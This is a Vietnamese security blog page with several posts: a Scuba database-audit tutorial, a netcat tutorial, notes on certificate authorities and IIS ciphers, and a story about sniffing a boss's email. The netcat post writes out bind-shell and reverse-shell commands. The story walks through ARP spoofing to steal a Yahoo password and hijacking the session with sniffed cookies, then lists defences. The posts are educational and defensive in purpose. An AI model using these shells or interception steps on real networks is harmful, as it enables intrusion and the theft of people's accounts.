Friday, May 21, 2010

Hướng dẫn : Sử dụng chương trình Scuba để rà soát security cho Oracle Database

Nội dung chính

Giới thiệu

Cài đặt Scuba

Cấu hình để kết nối tới Database cần test

Test Configuration

Output Options Configuration

Thực hiện rà soát Cơ sở dữ liệu đã chọn

Xuất kết quả ra báo cáo


Giới thiệu

Scuba là một công cụ nhỏ gọn dùng để đánh giá cơ sở dữ liệu, nó được sử dụng để thu thập các thông tin cấu hình liên quan tới security của một database. Bằng việc sử dụng Scuba có thể giúp chúng ta tìm ra hàng trăm thiếu sót như unpatched sofware (phần mềm chưa cập nhật bản vá), unsafe processes (các tiến trình không an toàn), weak passwords (các mật khấu “yếu”) , qua đó giúp ta đánh giá được những lỗi có độ rủi ro cao mà từ đó khiến cho cơ sở dữ liệu của chúng ta có khả năng bị tấn công bất cứ lúc nào.

Điều đặc biệt là Scuba hoàn toàn free, được viết bằng Java, nó hỗ trợ scan các db phổ biến như : Oracle, DB2, MS-SQL để tìm ra các lỗi cũng như những thiếu sót trong việc cấu hình.Dựa trên kết quả mà chương trình đánh giá được, Scuba sẽ ghi lại kết quả vào một file XML và kèm theo các mẫu báo cáo có sẵn của nó để xuất ra các báo cáo chi tiết dựa trên kết quả mà nó đã thu thập được.

Theo đánh giá của Pete Finnigan, một chuyên gia hàng đầu trong lĩnh vực Oracle Security thì Scuba thường được sử dụng để tìm ra những lỗi “simple”, và vì nó là một công cụ free cho nên việc đánh giá của nó sẽ không toàn diện được như những công cụ thương mại. Tuy nhiên, cá nhân ông vẫn xem Scuba là một công cụ hữu ích cho những nhà quản trị cơ sở dữ liệu.

Cài đặt Scuba

Để cài đặt Scuba trước tiên chúng ta phải download công cụ tại: http://www.imperva.com/products/scuba.html . Điền đầy đủ các thông tin yêu cầu bạn sẽ nhận được email cung cấp đường dẫn để download chương trình. Scuba là một file thực thi độc lập, chúng ta không cần phải cài đặt. Chương trình yêu cầu tối hiểu hệ thống phải cài đặt JRE phiên bản từ 1.4 trở lên để chạy được chương trình. Scuba bao gồm một file cấu hình test cơ bản và một số báo cáo mẫu dùng cho việc xuất kết quả. Khi ta chạy chương trình lần đầu tiên, nó yêu cầu chúng ta điền một số các thông tin để hoàn tất quá trình đăng kí sử dụng cũng như chấp nhận các điều khoản của chương trình.

Để chạy được Scuba ta cần thực hiện theo ba bước:

  1. Cấu hình Database connection.
  2. Lựa chọn file test và cấu hình các thống số test.

Thiết lập Output location để lưu file kết quả và lựa chọn mẫu báo cáo.

Cấu hình để kết nối tới Database cần test

Sau khi cài đặt xong chương trình, mặc định màn hình DB Config của Scuba hiện lên như sau :

scuba1

Màn hình này yêu cầu chúng ta cung cấp các thông tin cần thiết để kết nối tới Database Server :

  1. DB Type :

Lựa chọn kiểu DB, các db mà chương trình hỗ trợ :

  • Oracle (versions 8i through 10gR2)
  • MS SQL (versions 6 through 2005)
  • Sybase (versions 11.x – 15.x)
  • DB2 (8.x and all versions with support for DRDA communications)

2. Host :
Nhập host name hoặc ip của máy chủ database.

3. Port :

Nhập cổng mà DB server đang lắng nghe, nếu là Oracle thì mặc định là 1521. Nếu bạn cấu hình để listener lắng nghe trên một cổng khác thì nhập lại vào phần Port. Bảng ánh xạ các port :

scuba24. DB Name :

Trường này là cần thiết khi bạn lựa chọn loại cơ sở dữ liệu là Oracle hoặc DB2. Các trường hợp khác thì để trống. Đối với cơ sở dữ liệu Oracle thì trường DB Name này ta cần nhập SID (Service ID).

5. Windows Authentication :

Trường này được sử dụng trong trường hợp lựa chọn Db Type là MS SQL Server.

6.User :

Account của người sử dụng hợp lệ dùng để đăng nhập vào DB. Nên chọn account có đủ quyền trong việc truy cập dữ liệu đặc biệt là các Data Dictionary trên Db server.

7.Password :

Mật khẩu để xác thực.

Sau khi cung cấp đầy đủ toàn bộ thông tin liên quan, nhấn nút “Test Connectivity” để kiểm tra việc kết nối tới DB có thành công hay không? Nếu thành công ta sẽ nhận được thông báo sau :

scuba3

Test Configuration

Chọn phần Test Config, màn hình test config xuất hiện như sau :

scuba4

Trước khi chạy chương trình để đánh giá DB được chọn ta cần cấu hình các mục tại phần Test Config. Bao gồm :

  1. File :

Đường dẫn đến file testconfig.xml, đây là một file xml bao gồm các mô tả về việc test mà sẽ được áp dụng cho DB mà chúng ta cần rà soát. Scuba đã cung cấp cho chúng ta một file mặc định, đi kèm với nó là thông tin về Date mô tả thời gian về lần cập nhật cuối cùng cho file này. Để cập nhật các thông tin mới nhất ta chọn phần Check For Updates.

  1. Max Info :

Giá trị trong trường này có thể được sử dụng để hạn chế về lượng thông tin kiểm tra bị thất bại mà ta thu thập từ cơ sơ dữ liệu

  1. Parameters :

Trong thực tế nhiều DB được cấu hình với một số các policy chẳng hạn Password Policy, thông tin trong trường parameters cho phép ta rà soát liên quan tới Policy đã được cấu hình bởi các nhà quản trị. Lấy ví dụ: độ dài tối thiểu cho một password mới là bao nhiêu, thời gian hết hiệu lực của password v..v.. Bạn có thể thay đổi các giá trị Parameter cho phù hợp với mục đích kiểm tra của mình.

PS: Trong bài viết này của tôi, mọi thông tin trong phần Test Config đều được để nguyên theo mặc định của chương trình.


Output Options Configuration

Tiếp theo ta chuyển qua phần Output Config, màn hình cấu hình như sau :

scuba5

Trước khi thực hiện việc rà soát cơ sở dữ liệu ta cần cấu hình để Scuba lưu thông tin kết quả của quá trình kiểm tra ra một file. Trong trường hợp của tôi, mọi thông tin thu được sẽ được xuất ra file results.xml.

Sau khi thực hiện xong việc rà xoát, dựa trên file kết quả này chúng ta có thể tạo ra các báo cáo dựa trên template là các file XSL có sẵn của Scuba. Chương trình bao gồm các mẫu báo cáo sau :

  • Scuba_Assessment_Report.xsl for reporting on all executed tests
  • Scuba_Summary_Report.xsl for a graphical summary of the assessment run
  • Scuba_Assessment_Report(No Details).xsl
  • ScubaOutputTransformOnlyFailedTests.xsl for reporting all tests that failed
  • ScubaOutputTransformOnlyInfo.xsl for reporting information only tests

Tùy chọn Use External Browser cho phép chúng ta sử dụng IE browser để hiện thị các báo cáo. Nếu như ta không chọn tùy chọn này thì kết quả sẽ hiện thị trong một Java text pane.

Thực hiện rà soát Cơ sở dữ liệu đã chọn

Sau khi toàn bộ các thông tin liên quan về việc cấu hình đã hoàn tất, giờ là lúc ta tiến hành rà soát cơ sở dữ liệu của mình. Đơn giản chỉ bằng việc nhấn nút Go, chương trình sẽ thực hiện tự động và lưu kết quả vào file results.xml đồng thời hiện thị thông báo sau khi hoàn tất quá trình thực hiện.

Môi trường thử nghiệm của tôi như sau :

OS: Enterprise Linux Enterprise Linux AS release 4 (October Update 5)

Oracle DB Version: Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 – Prod

Oracle SID: VD11

Host Name: test

scuba6

Xuất kết quả ra báo cáo

Sau khi quá trình rà soát hoàn tất, bước cuối cùng là xuất kết quả kiểm tra ra các file báo cáo để theo dõi, qua đó tổng kết các thông tin liên quan tới security của DB. Dựa vào các thông tin này, ta có thể điều chỉnh để “Hardening Our Database” :) !

scuba7

scuba8

scuba9

Tài liệu tham khảo: Scuba_Users_Guide.pdf

Best Regards

m4n0w4r

PS : Vui lòng chỉ rõ tác giả và nguồn khi các bạn sử dụng lại tài liệu này :)

1.4 Netcat The Almighty

1.4 Netcat The Almighty
Tổng quan

Netcat là một công cụ được giới Hacking và Security đánh giá là tuyệt vời. Giải thích đơn giản thì netcat là một công cụ có thể “read and write to TCP and
UDP ports”. Netcat có thể chạy ở hai mode : “client” hoặc “server”. Một lời khuyên rất hay mà tôi thường gặp là “Nếu như bạn cảm thấy hay và còn lờ mờ về vấn đề hay công cụ đó hãy tự mình research”

1.4.1 Connecting to a TCP/UDP port with Netcat
Việc kết nối tới một TCP/UDP port trong nhiều trường hợp sẽ giúp ích cho chúng ta những vấn đề sau :

  • Chúng ta muốn kiểm tra xem một port đang open hay đã close (Khả năng quét cổng ngẫu nhiên.)
  • Chúng ta muốn đọc banner từ port
  • Chúng ta muốn kết nối tời một network service

Ok, chúng ta chạy thử netcat và xem help của nó :

nc -h

1. Để kết nối tới một TCP port 22 tại địa chỉ nào đó và grap lấy banner của chương trình ssh server ta làm như sau (ở đây tôi lấy đại một địa chỉ) :

bt ~ # nc -vv vgr.net 22
Warning: inverse host lookup failed for 65.161.177.104: Unknown host
host6.net [65.161.177.104] 22 (ssh) open
SSH-2.0-OpenSSH_3.8.1p1
sent 0, rcvd 24
bt ~ #

2. Kết quả ta thấy cổng 22 đang open và SSH banner trả về là SSH-2.0-OpenSSH_3.8.1p1

3. Giờ thử connect tới port 80 xem thế nào nhé, thêm vào đó ta sẽ gửi một HTTP HEAD request tới server và đọc ra HTTP server banner. Ta làm như sau :

bt ~ # nc -vv vgr.net 80
Warning: inverse host lookup failed for 65.161.177.104: Unknown host
host6.net [65.161.177.104] 80 (http) open
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Fri, 10 Oct 2008 03:12:20 GMT
Server: Apache
X-Powered-By: PHP/4.4.2
Connection: close
Content-Type: text/html; charset=ISO-8859-1

sent 17, rcvd 161
bt ~ #

Qua đây ta đoán được Server này sử dụng Apache làm Web Server, trên đó đã cài PHP với version có thể là 4.4.2.

1.4.2 Listening on a TCP/UDP port with Netcat
Một tính năng rất hay khác của netcat đó là listen trên một port TCP/UDP, nó mang tới khả năng trong việc ” network debugging client applications”, hoặc “receiving a TCP/UDP network connection”

Ta thử thực hiện một đoạn chat đơn giản sử dụng netcat, công việc này cần có hai máy. Máy của tôi có địa chỉ ip là 10.32.110.67 (OS: Linux), máy khác có ip là 10.32.110.57 (OS : WindowsXP).

1. Trên máy của tôi,tôi chạy netcat cho listen trên port 4444 và lắng nghe các kết nối tới máy tôi :

bt ~ # nc -lvvp 4444
listening on [any] 4444 …

2. Từ máy Windows tôi thực hiện kết nối tới máy tôi :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open

Gõ thử dòng sau :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open
Hi, how are you

Chuyển qua máy tôi :

bt ~ # nc -lvvp 4444
listening on [any] 4444 …
10.32.110.57: inverse host lookup failed: Unknown host
connect to [10.32.110.67] from (UNKNOWN) [10.32.110.57] 2219
Hi, how are you <== thông điệp nhận được I’m fine. Thanx..And you? <== tôi gửi lại

Kết quả trên máy Windows :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open
Hi, how are you
I’m fine. Thanx..And you?

1.4.3 Transferring files with Netcat
Netcat có thể được sử dụng để truyền nhận file như một simple ftp.Nó hỗ trợ truyền text và binary files.Thực hiện demo tranfer một file từ máy Windows tới máy Linux.

1. Tại máy Linux : ta cho netcat lắng nghe và chấp nhận kết nối đồng thời chuyển hướng bất kì một input nào từ máy Windows vào một file.

bt ~ # nc -lvp 4444 > output.txt
listening on [any] 4444 …

2. Tại máy Windows : ta tạo ra một file test.txt có nội dung tùy ý.Sau đó connect tới máy Linux và send file.

C:\nc111nt>echo “Hi! I want to transfer some files to you..lolz!!” > test.txt

C:\nc111nt>type test.txt
“Hi! I want to transfer some files to you..lolz!!”

C:\nc111nt>nc.exe -vv 10.32.110.67 4444 <>

Do netcat không có thông báo hay dấu hiệu gì cho ta thấy rằng đang truyền file, cho nên ta đợi một lúc sau đó nhấn Ctrl + C để thoát khỏi netcat.

3. Tại máy Linux tiến hành kiểm tra
bt ~ # nc -lvp 4444 > output.txt
listening on [any] 4444 …
10.32.110.57: inverse host lookup failed: Unknown host
connect to [10.32.110.67] from (UNKNOWN) [10.32.110.57] 4084
bt ~ # cat output.txt
“Hi! I want to transfer some files to you..lolz!!”
bt ~ #

Dùng lệnh cat để kiểm tra nội dung của file output.txt như trên. :)

1.4.4 Remote Administration with Netcat
Một tên gọi khác của netcat được nhiều người gọi là “Netcat as a BackDoor”. Một trong những tính năng có thể gọi là tinh xảo của netcat đó là command redirection. Điều này được giải thích như sau :
“Netcat can take an exe file and redirect the input,output and error messages to a TCP/UDP port, rather than to the default console.”. Ta lấy ví dụ để cho dễ hiểu với file cmd.exe trên máy Windows.Bằng việc redirect stdin/stdout/stderr, chúng ta có thể bind chương trình cmd.exe vào một local port.Bất kì một người nào kết nối tới port này sẽ nhận được một command prompt. Hehe có vẻ lằng nhằng nhỉ, theo dõi một số ví dụ để dễ hình dung.

Giả sử, có hai user là Bob và Alice – hai user này đều muốn tìm cách kết nối tới máy của nhau.Hãy xem hình minh họa về mô hình mạng cũng như vai trò của từng người trong mô hình.

1.4.4.1 Scenario 1 – Bind Shell
Trong ví dụ 1 này, Bob muốn nhờ tới sự trợ giúp của Alice do đó anh ta đề nghị Alice kết nối tới máy của anh ta để giúp đỡ. Như bạn thấy trong hình trên Bob tác giả nói là (Bob has a non RFC 1918 address (http://www.faqs.org/rfcs/rfc1918.html)) và anh ta kết nối trực tiếp với internet.Tuy nhiên, ngược lại Alice lại đừng đằng sau một NAT connection.

Để giúp alice connect tới máy mình Bob làm như sau, anh ta cần phải bind cmd.exe ra một port TCP trên máy anh ta và sau đó thông báo cho Alice kết nối tới port đó.
Trên máy của Bob :

C:\nc111nt>nc -lvvp 4444 -e cmd.exe
listening on [any] 4444 …

Điều này hơi nguy hiểm bởi lẽ nếu một người nào đó không phải là Alice mà sử dụng việc scan port trên máy Bob và dùng nc kết nối tới thì sẽ nguy hiểm. Ở đây ta giả sử chỉ có Alice kết nối tới.

Tại máy của Alice

bt ~ # nc -v 10.32.110.57 4444
10.32.110.57: inverse host lookup failed: Unknown host
(UNKNOWN) [10.32.110.57] 4444 (krb524) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\nc111nt> <== hiện ra cái này là kết nối thành công :)

Tiếp theo thử gõ lệnh xem thế nào :

C:\nc111nt>dir
dir
Volume in drive C has no label.
Volume Serial Number is 4CD7-38CF

Directory of C:\nc111nt

10/10/2008 03:42 PM

.
10/10/2008 03:42 PM ..
12/28/2004 11:23 AM 12,166 doexec.c
07/09/1996 04:01 PM 7,283 generic.h
11/06/1996 10:40 PM 22,784 getopt.c
11/03/1994 07:07 PM 4,765 getopt.h
02/06/1998 03:50 PM 61,780 hobbit.txt
12/27/2004 05:37 PM 18,009 license.txt
11/28/1997 02:36 PM 544 makefile
12/29/2004 01:07 PM 61,440 nc.exe
12/29/2004 01:07 PM 69,662 netcat.c
12/27/2004 05:44 PM 6,833 readme.txt
10/10/2008 03:42 PM 53 test.txt
11 File(s) 265,319 bytes
2 Dir(s) 31,878,184,960 bytes free

C:\nc111nt>

1.4.4.2 Scenario 2 – Reverse Shell
Tình huống thứ hai, giờ đến lượt Alice muốn nhờ Bob giúp.Ta giả định rằng Alice không phải là người kiểm soát NAT device, vậy có cách nào để Bob kết nối tới máy của Alice và giúp đỡ cô ấy. :(

Một tính năng thú vị khác của netcat là khả năng send một command shell tới một listening host.Vì vậy trong tình huống này, mặc dù Alice không thể bind port tới cmd.exe trên máy của cô ấy và mong chờ Bob kết nối tới, cô ấy có thể send command prompt của cô ấy tới máy của Bob :) . Vậy thực hiện như sau :

Tại máy của Bob:

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …

Tại máy của Alice :

bt ~ # nc -v 10.32.110.57 4444 -e /bin/bash
10.32.110.57: inverse host lookup failed: Unknown host
(UNKNOWN) [10.32.110.57] 4444 (krb524) open

Lúc này tại máy của Bob ta thấy như sau :

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.32.110.57] from (UNKNOWN) [10.32.110.67] 44735: NO_DATA

Lúc này ta có thể gõ lệnh được rồi :

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.32.110.57] from (UNKNOWN) [10.32.110.67] 44735: NO_DATA
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:36:1E:01
inet addr:10.32.110.67 Bcast:10.32.110.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1
RX packets:188690 errors:1 dropped:0 overruns:0 frame:0
TX packets:16575 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:24337003 (23.2 MiB) TX bytes:3898205 (3.7 MiB)
Interrupt:16 Base address:0×2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:10 errors:0 dropped:0 overruns:0 frame:0
TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1135 (1.1 KiB) TX bytes:1135 (1.1 KiB)

ls
Desktop
dnsz.sh
dodnsr.sh
dopings.sh
findicq.sh
icq-ips.txt
icq-srv.txt
index.html
output.txt

Chà thật là thú vị. Dưới đây là đôi lời của tác giả viết bài này :


Netcat has other nice features and uses such as simple sniffing abilities, port redirection and others which I will leave for you to research independently. The reason I didn’t want to call this Module “Netcat as a backdoor” is that students usually start thinking about the malicious implementations of such a backdoor, and one of the first questions asked is: “How to I get Netcat to run on the victim machine, without remote user intervention?”.I usually dismiss this question, with a horrified look on my face. The magic answer to this question is simply “remote code execution”.Ninety percent of attack vectors can be summarized with the pair of words “code execution”.For example,attacks such as Buffer Overflows, SQL injection, File Inclusion,Client Side Attacks, Trojan Horses – all aim to result in “code execution” on the victim machine.

Certificate Authority

1. CA = Certificate Authority là từ dùng để nói về một tổ chức/thực thể được tín nhiệm để cấp certificate cho những cá nhân và tổ chức khác.

2. Certificate = chứng chỉ của một cá nhân hay tổ chức được một CA cấp cho (có thể phải trải qua quá trình CA kiểm tra danh tính của đơn vị muốn được cấp certificate).

Ví dụ: Verisign là CA được tín nhiệm, thông qua hình thức là self-signed certificate của họ được các trình duyệt web tín nhiệm. Verisign cấp certificate cho công ty hdbank. Việc cấp này đơn giản là Verisign dùng self-signed certificate của họ để ký lên CSR của khách hàng.

CA hầu như không tham gia vào quá trình thực thi của bộ giao thức SSL/TLS. nói cách khác, trình duyệt và máy chủ hầu như chỉ nói chuyện trực tiếp với nhau, mà không phải kết nối đến một bên thứ 3 nào cả. CA chỉ đóng vai trò trong việc xác lập hạ tầng khóa công khai (PKI), hầu như không tham gia vào quá trình kiểm tra và xác thực cert.

vậy việc kiểm tra và xác thực cert diễn ra như thế nào? khi trình duyệt kết nối vào máy chủ web, máy chủ web gửi lại cert của họ, thì trình duyệt sẽ có trách nhiệm kiểm tra cert này. việc kiểm tra này gồm các bước (thứ tự tùy thuộc vào trình duyệt):

1. xem cert này được ai ký, và tổ chức ký cert này có được trình duyệt tín nhiệm hay không.

2. xem cert có còn hạn sử dụng hay không.

3. xem cert có bị vô hiệu hóa hay chưa.

4. xem common name của cert có trùng với tên của máy chủ mà trình duyệt đang kết nối hay không.

bước thứ 3 là lý do mà mình dùng từ "hầu như". trình duyệt (và máy chủ) có thể kết nối đến CA để kiểm tra xem certificate của bên còn lại có bị vô hiệu hóa hay chưa (revoked). RFC của TLS/SSL không bắt buộc các hiện thực TLS/SSL phải thực hiện bước này, và theo mình biết thì mặc định các trình duyệt không thực hiện việc kiểm tra này.

Thursday, May 20, 2010

How to use 256 bit SSL in IIS 6.0

3 steps:

1. Install the fix http://support.microsoft.com/kb/948963 which will install the cipher sutes AES 128 and AES 256.

2. The order of cipher suites on Windows 2003 is hard-coded. AES 128 is the highest priority. AES 256 is the next. We only need to disable AES 128 then AES 256 will have the highest priority.

a. Open regedit.exe on IIS 6.0 machine.

b. Go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers. You should be able to find there are many subkeys, e.g. AES 128/128.

c. In subkey AES 128/128, create a DWORD value “Enabled”. Set it as the value 0. It means we would disable AES 128.

3. Reboot the IIS 6.0 machine.

On Vista/Windows7 which support AES 256 machine, you can use IE to browse that IIS 6.0 web site through HTTPS. The SSL uses 256 bit encryption.

Regards,

Xin Jin

CHÔM PASSWORD VÀ ĐỌC LÉN MAIL CỦA SẾP

Lưu ý : Bài viết này là demo chứng minh cho tầm quan trọng của việc quản trị mạng chứ không phải hướng dẫn các bạn đi “chôm” pasword ! Đối với vai trò 1 Administrator thì không phải build up một network cho chạy là xong, mà phải kiểm soát và phải có phương hướng bảo mật cho network của mình. (Các tên nhân vật và tình huống câu chuyện là do tôi hư cấu)

Vụ án xảy ra tại công ty Frog Co ltd, có chú Ếch Con là IT chịu trách nhiệm chính của công ty Frog Co, công ty hoạt động ngày càng phát triển mạnh mẽ mà Sếp (Hai Nhái) vẫn không tăng lương cho chú Ếch nhà ta (nhân viên làm tại công ty Frog Co luôn có tiêu chí là “thêm việc chứ không thêm lương”). Công ty dùng mạng workgroup (mạng ngang hàng) và đều sử dụng thiết bị thuộc hàng “cổ lổ sỉ” (còn dùng Hub), chú Ếch muốn đề xuất mua một cái gì hoặc xin đi học cái gì đều bị Sếp bác bỏ bởi vì sếp ta luôn có một quan niệm : “cái gì còn sài được thì cứ sài”. Sau nhiều ngày sống trong “áp bức và bốc lột” (e hèm !!! nói hơi quá, hihi) nên chú Ếch nhà ta muốn làm một cái gì đó để chứng tỏ mô hình mạng đang dùng hoàn toàn không an toàn, cần phải mua thêm thiết bị mới và triển khai các mô hình mạng Domain/Firewall/IDS …. để an toàn hơn và cũng như để chứng tỏ mình làm được nhiều việc mà tại sao Sếp lại …. không tăng lương.

Vậy chú Ếch nhà ta phải làm gì để tạo tiếng vang, để chứng minh cho Sếp thấy là mạng hiện tại không an toàn ? Có nhiều phương án hiện ra trong đầu Ếch : cài trojan chôm password Sếp ? Lấy dữ liệu trong laptop Sếp ? … và phương án cuối cùng nó nghĩ ra là dùng chương trình sniff để đọc lén email của Sếp cũng như …. chôm password email của Sếp. Chương trình Sniff mà Ếch chọn là Cain & Abel.

Vụ án 1 : Ông Sếp khóc huhu vì thằng Ếch biết được password email

Mô hình mạng công ty Frog Co như sau :

SnifferYahoo

- Trên máy tính của Ếch cài đặt phần mềm Cain & Abel.

picture001

- Phần mềm Cain đòi hỏi phải có WinPcap (WinPcap là một phần trong bộ tool packet sniffer, dùng để capture các gói tin trên mạng)

picture002

- Ếch ta vào CMD, dùng lệnh net view để xem các host đang kết nối trong mạng của mình.

picture003

- Sau khi đã biết được hostname của ông Sếp (hostname : DAODUYHIEU) thì chú Ếch liền ping để xem IP là gì.

picture004

- Ếch khởi động chương trình Cain và chọn card mạng để sniffer.

picture005

- Ếch chạy Mac Address Scanner để xem MAC và IP đang kết nối trong host

picture006

- Kết quả đã hiện ra, Ếch đã thấy được IP : 192.168.7.251 ứng với hostname của sếp nó là DAODUYHIEU.

picture007

- Ếch tiến hành bắt gói tin từ máy sếp tới router (router ở đây với IP : 192.168.7.200)

picture008

- Quá trình sniffer đã bắt đầu, chú Ếch lúc này cười hehe và chit chat đợi chờ Sếp ta check mail (thiệt là ác quá đi, hehe)

picture009

- Sếp ta vẫn không hay biết có một thằng Ếch đang có dã tâm “chôm” password của mình và cứ đăng nhập để check mail.

picture010

- Sếp đã đăng nhập vào mail và đọc mail.

picture011

- Lúc này chú Ếch nhà ta mới mở Cain lên và xem “tiến độ” như thế nào. E hèm, trong tab ARP đã bắt được các gói ARP-Cert và ARP-HTTPS rồi. Hehe, Ếch ta cười thầm trong bụng.

picture012

picture013

- Ếch chuyển sang tab Password thì … oh yeah !!! Tất cả mọi thứ nó cần đã ở đây, mục đích của nó đã thành công rồi. Theo như kết quả của nó thu thập được thì email của ông Sếp là daoduyhieu_lab@yahoo.com và password là MatKhau.

picture014

Chú Ếch liền thông báo với Sếp là đã biết password của Sếp. Sếp ta không nói gì nhưng thật sự hoang mang vì chỉ mới hôm qua tới nay nó đã lấy được password của mình rồi. Trong một buổi nhậu chiều tại quán Thu Nở – 17 Võ Thị Sáu – Phan Thiết (Quán này tui hay nhậu hải sản nên giới thiệu luôn, hehe) Sếp (Hai Nhái) đã bày tỏ “tâm sự” này với anh Ba Cóc (anh Ba Cóc cán bộ của một cơ quan nhà nước, cũng là hàng Sếp) sự tình, vậy theo anh là có nên nâng cấp hệ thống của mình lên không ? Có nên cho thằng Ếch đi học cái khóa học gọi là bảo mật gì đó không ? Anh Ba Cóc trầm ngâm suy nghĩ (thực chất anh Ba Cóc mù tịt, nhưng cũng làm ra vẻ … trầm ngâm), đột nhiên Ba Cóc liền nhớ ra thằng Tư Nòng Nọc đệ tử của mình trên cơ quan liền giới thiệu với Hai Nhái đại khái là “thằng Tư Nòng Nọc trên cơ quan tui khá lắm, nó được tui cho đi học ở nước ngoài hoài, và cũng nghe nói là một héc cờ (hacker) gì đó nha”. Hai Nhái như mở cờ trong bụng liền xin số và gọi ngay cho “chiên” gia Tư Nòng Nọc xin ý kiến, “chiên” gia Tư Nòng Nọc suy nghĩ liền phán rằng “Anh Hai Nhái khi vào email nhớ chọn ghi nhớ vào máy luôn thì không ai làm gì được đâu”. Sếp Hai Nhái vui mừng liền sáng mai áp dụng chiêu này rồi bảo với Ếch rằng “tui mới được chiên gia bảo mật hướng dẫn cách phòng chống rồi, nếu chú vào được email tui lần nữa thì tui sẽ duyệt dự án nâng cấp của chú và cho chú đi học một khóa bảo mật”.

Sau tuyệt chiêu của Tư Nòng Nọc chỉ cho Sếp Hai Nhái thì làm sao Ếch sniff được User/Password mà vào hộp thư của Sếp? Vậy dự án của Ếch có được thực hiện hay không ? Ếch có được đi học bảo mật hay không ? Hồi sau sẽ rõ.
Vụ án 2 : Thằng Ếch Con cười haha vì lại một lần nữa đọc trộm email của Sếp Hai Nhái

Sau chiêu đăng nhập và ghi nhớ password của Tư Nòng Nọc chỉ cho Sếp Hai Nhái thì kế hoạch sniff lúc Sếp đăng nhập của thằng Ếch đã thất bại. Vậy làm thế nào đây ? Nó liền lục lọi các kiến thức mà nó đã biết để sắp xếp một cách logic quyết lấy được một xuất đi học bảo mật mà nó hằng mơ ước.

Đối với HTTP, sau việc đăng nhập thành công, để không phải hỏi lại nhiều lần thông tin đăng nhập. Web server sẽ lưu xuống máy client những thông tin cần thiết để kiểm tra lại, các thông tin lưu này được gọi cookie. Các cookie sẽ khác nhau ở từng website và do người lập trình thiết lập. Và ngoài thông tin xác thực user cookie còn có thể mang nhiều giá trị khác mà người thiết kế muốn.

Mỗi cookie lưu trên máy Client gồm các thông tin: Name, Content, Domain, Path, Expire date. Vậy nếu có được các cookie có giá trị, ta có thể kết nối đến Server với tư cách user sở hữu cookie đó.

Nghĩ đến đây rồi thì Ếch bắt đầu tiến hành, để làm được việc này nó cần phải chuẩn bị nhiều đồ nghề.

- Công cụ Cain & Abel để ARP spoofing.

- Sniff cookie với ferret

- Trình duyệt FireFox và add-on Cookie Editor

Sau khi mọi thứ đồ nghề đã download sẵn hết rồi thì chú Ếch nhà ta mới hí hửng chuẩn bị … hành sự (tiếp tục con đường tội ác, hehe)

- Ếch ta vào CMD nhảy tới folder chứa ferret và gõ lệnh ferret.exe -W để xem thông tin chương trình cũng như số thứ tự card mạng mà nó muốn tiến hành sniffer.

- Sau khi xác định card mạng nó gõ lệnh ferret.exe -i 2 để tiến hành sniffer trên card số 2 và lướt web âm thầm đợi ông sếp check mail (thiệt là ác quá đi, hehe)

picture015

- Vừa được nửa lon Pepsi (chú ếch nhà ta có tật nghiện pepsi, thiếu pepsi là cái đầu nó ngu hẳn ra, hihi) thì nó nhận được khá nhiều thông tin HTTP GET, toàn bộ các thông tin này sẽ được lưu trong file hamster.txt ở cùng thư mục với ferret

picture016

- Ếch mở file hamster.txt ra thì đập vào mắt nó là “linh tinh hầm bà lằng” giá trị, nhưng nó chỉ để ý đến 2 giá trị “Y” & “T”.

- Nó mở FireFox, truy cập http://mail.yahoo.com và chọn Cookie Editor để xóa tất cả các giá trị đăng lưu. Nó nhập vào đó 2 giá trị “Y” & “T” mà nó sniff được và save lại.

picture017

- Tất cả đã hoàn tất, nó lại truy cập http://mail.yahoo.com và “úm ba la sì bùa”, nó đã đăng nhập được vào hộp thư daoduyhieu_lab@yahoo.com của sếp dựa vào cookie mà nó sniff được.

picture018

- Nó lại tiếp tục đem kết quả này trình Sếp thì lúc này Sếp mới thật sự quan tâm. Sếp đã quyết định tài trợ cho Ếch Con đi học một khóa bảo mật và khi nó học xong thì sẽ tiến hành dự án nâng cấp hệ thống mạng của công ty Frog Co cho tốt hơn.

- Qua bài học này Sếp Hai Nhái rút ra được kết luận là

+ Cần lắng nghe các tâm tư nguyện vọng của nhân viên, xét thấy phù hợp thì nên triển khai để tránh gặp trường hợp “có hối cũng không kịp”.

+ Khoan hẵn nghe lời “xàm tấu” của những người được gọi là “chiên gia”.

Giải pháp chống sniffer

Việc detect sự hiện diện của sniffer trong LAN là một việc không đơn giản tí nào bởi vì sniffing là một hành động passive (thụ động), nó không trực tiếp tác động và gây thay đổi (cụ thể) nào để có thể nhận ra nó một cách dễ dàng. Không có một software nào có thể detect được sniffer một cách nhanh chóng và chính xác. Vì vậy để giảm thiểu Sniff thì ta nên áp dụng các phương pháp sau :

- Giải pháp cho việc chống bị sniff thì có: gán Static Mac-Address, dùng SSL, VPN,VLAN, Switch (hỗ trợ DHCP snooping, monitor port ).

- Detect sniff thì có hai cách nền tảng: detect promiscuous mode của NIC (từng host) và theo dõi tình trạng nội mạng (trọn bộ LAN).

picture019

Ảnh : Gán Static Mac-Address cho máy Sếp

picture020

